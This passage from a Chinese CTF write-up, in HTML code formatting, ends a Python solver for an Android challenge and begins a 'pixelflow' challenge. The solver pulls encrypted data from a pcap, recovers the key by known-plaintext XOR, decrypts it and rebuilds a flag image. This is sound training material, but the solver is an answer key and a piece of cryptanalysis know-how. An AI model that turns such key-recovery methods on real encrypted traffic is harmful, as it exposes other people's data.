26px;"><span leaf="">2</span></span><span leaf="">]).resolve()</span><span leaf=""><br/></span><span leaf="">    known_root = Path(sys.argv[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">]).resolve()</span><span leaf=""><br/></span><span leaf="">    out = Path(sys.argv[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">]).resolve() </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(sys.argv) &gt;= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf=""> Path(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;out&#34;</span></span><span leaf="">).resolve()</span><span leaf=""><br/></span><span leaf="">    out.mkdir(parents=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">, exist_ok=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    classes_dir = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;classes&#34;</span></span><span leaf=""><br/></span><span leaf="">    helper_java = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;CTFHelper.java&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> helper_java.exists():</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[!] out/CTFHelper.java 不存在&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sys.exit(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] recover classes from apk ...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    cnt = recover_classes_from_apk(apk, classes_dir)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    recovered </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{cnt}</span></span><span leaf=""> class files -&gt; </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{classes_dir}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] compile CTFHelper.java ...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    compile_helper(classes_dir, helper_java)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] extract batches from pcap ...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    batches = extract_batches_from_pcap(pcap)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> batches:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;no batches found in pcap&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx, data </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> sorted(batches.items()):</span><span leaf=""><br/></span><span leaf="">        (out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">.bin&#34;</span></span><span leaf="">).write_bytes(data)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{len(data)}</span></span><span leaf=""> bytes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    decoded_dir = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;decoded&#34;</span></span><span leaf=""><br/></span><span leaf="">    parts_dir = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;parts&#34;</span></span><span leaf=""><br/></span><span leaf="">    decoded_dir.mkdir(parents=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">, exist_ok=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parts_dir.mkdir(parents=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">, exist_ok=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    all_part_imgs = {}</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> sorted(batches.keys()):</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\n[*] === solve batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf=""> ===&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        b = (out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">.bin&#34;</span></span><span leaf="">).read_bytes()</span><span leaf=""><br/></span><span leaf="">        batch_idx, rsa, entries, cipher = parse_batch(b)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    entries: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{[e[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">] </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> e </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> entries]}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        known_entry = </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> name, off </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> entries:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;flagImage/&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> name </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span leaf=""> name.endswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;.java&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                known_entry = (name, off)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> known_entry </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">is</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;cannot find known java entry in this batch&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        known_basename = os.path.basename(known_entry[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        known_path = find_known_source(known_root, known_basename)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    known source: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{known_path}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        tmp_comp = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;known_batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">.lzrr&#34;</span></span><span leaf=""><br/></span><span leaf="">        java_helper(classes_dir, [</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;compress&#34;</span></span><span leaf="">, str(known_path), str(tmp_comp)])</span><span leaf=""><br/></span><span leaf="">        comp = tmp_comp.read_bytes()</span><span leaf=""><br/></span><span leaf="">        L = min(len(comp), </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        off0 = known_entry[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        ct_seg = cipher[off0:off0+L]</span><span leaf=""><br/></span><span leaf="">        pt_seg = comp[:L]</span><span leaf=""><br/></span><span leaf="">        ks_target = bytes([a ^ b </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> a, b </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> zip(ct_seg, pt_seg)])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> idx % </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf=""> == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            key = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\x00&#34;</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf=""><br/></span><span leaf="">            keyhex = key.hex()</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    [OK] batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf=""> is odd -&gt; keyless algo, use key=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{keyhex}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            basis_file = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;basis_batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">_</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{L}</span></span><span leaf="">.bin&#34;</span></span><span leaf=""><br/></span><span leaf="">            java_helper(classes_dir, [</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;basis&#34;</span></span><span leaf="">, str(idx), str(L), str(basis_file)])</span><span leaf=""><br/></span><span leaf="">            bb = basis_file.read_bytes()</span><span leaf=""><br/></span><span leaf="">            n = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&lt;I&#34;</span></span><span leaf="">, bb[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> n != L:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;basis length mismatch&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            ks0 = bb[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">+L]</span><span leaf=""><br/></span><span leaf="">            deltas = []</span><span leaf=""><br/></span><span leaf="">            p = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""> + L</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                deltas.append(bb[p:p+L])</span><span leaf=""><br/></span><span leaf="">                p += L</span><span leaf=""><br/></span><span leaf="">            key = solve_key_from_keystream(ks_target, ks0, deltas)</span><span leaf=""><br/></span><span leaf="">            keyhex = key.hex()</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    [OK] key = </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{keyhex}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        tmp_ct = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;cipher_batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">.bin&#34;</span></span><span leaf=""><br/></span><span leaf="">        tmp_pt = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;plain_batch</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">.bin&#34;</span></span><span leaf=""><br/></span><span leaf="">        tmp_ct.write_bytes(cipher)</span><span leaf=""><br/></span><span leaf="">        java_helper(classes_dir, [</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;crypt&#34;</span></span><span leaf="">, str(idx), keyhex, str(tmp_ct), str(tmp_pt)])</span><span leaf=""><br/></span><span leaf="">        plain = tmp_pt.read_bytes()</span><span leaf=""><br/></span><span leaf="">        entries_sorted = sorted(entries, key=</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x: x[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> j, (name, off) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(entries_sorted):</span><span leaf=""><br/></span><span leaf="">            end = entries_sorted[j+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">][</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">] </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> j+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt; len(entries_sorted) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf=""> len(plain)</span><span leaf=""><br/></span><span leaf="">            comp_blob = plain[off:end]</span><span leaf=""><br/></span><span leaf="">            data = lzrr_decompress(comp_blob, verify_crc=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            out_path = decoded_dir / name</span><span leaf=""><br/></span><span leaf="">            out_path.parent.mkdir(parents=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">, exist_ok=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            out_path.write_bytes(data)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;      [+] </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{name}</span></span><span leaf=""> -&gt; </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{len(data)}</span></span><span leaf=""> bytes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            m = re.search(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">r&#34;Image1Part(\d+)\.java$&#34;</span></span><span leaf="">, name)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> m:</span><span leaf=""><br/></span><span leaf="">                n_part = int(m.group(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">                ext, img = try_extract_image_bytes(data)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> img </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">is</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    img_path = parts_dir / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;part</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{n_part:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">02</span></span><span leaf="">d}</span></span><span leaf="">.</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{ext </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ext </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;bin&#39;</span></span><span leaf="">}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">                    img_path.write_bytes(img)</span><span leaf=""><br/></span><span leaf="">                    all_part_imgs[n_part] = img_path</span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;          [img] -&gt; </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{img_path.name}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> PIL </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Image</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> ImportError:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;\n[!] 没装 pillow，无法拼图。你可以：pip install pillow&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">    need = [</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">,</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">,</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">,</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span leaf="">,</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> all(k </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> all_part_imgs </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> k </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> need):</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;\n[!] part 不全，无法拼图。已导出的 parts 在:&#34;</span></span><span leaf="">, parts_dir)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">    imgs = [Image.open(all_part_imgs[i]).convert(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;RGBA&#34;</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> need]</span><span leaf=""><br/></span><span leaf="">    w, h = imgs[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">].size</span><span leaf=""><br/></span><span leaf="">    cols, rows = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf=""><br/></span><span leaf="">    canvas = Image.new(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;RGBA&#34;</span></span><span leaf="">, (w*cols, h*rows))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx, im </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(imgs):</span><span leaf=""><br/></span><span leaf="">        x = (idx % cols) * w</span><span leaf=""><br/></span><span leaf="">        y = (idx // cols) * h</span><span leaf=""><br/></span><span leaf="">        canvas.paste(im, (x, y))</span><span leaf=""><br/></span><span leaf="">    out_img = out / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;stitched.png&#34;</span></span><span leaf=""><br/></span><span leaf="">    canvas.save(out_img)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;\n[OK] stitched image -&gt;&#34;</span></span><span leaf="">, out_img)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">python 1.py .\app .\dump.pcapng .\app\src\main\java\com\unknown .\out</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="2.180722891566265" data-type="png" data-w="498" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030468" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=8177116b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NYTxnicNjDaBfQqVzukwWMxgEkicYicd1ibhUicicTKicy9H2Z7Sa5fL7aiblNA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pixelflow</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">TEXC = [</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">233</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">142</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">138</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">138</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">183</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">231</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">201</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">224</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">184</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">151</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">183</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">75</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">59</span></span><span leaf="">,  </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">33</span></span><span leaf="">,  </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">211</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">124</span></span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">TARGET = [(TEXC[i] - i) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">PROG = [</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">42</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span 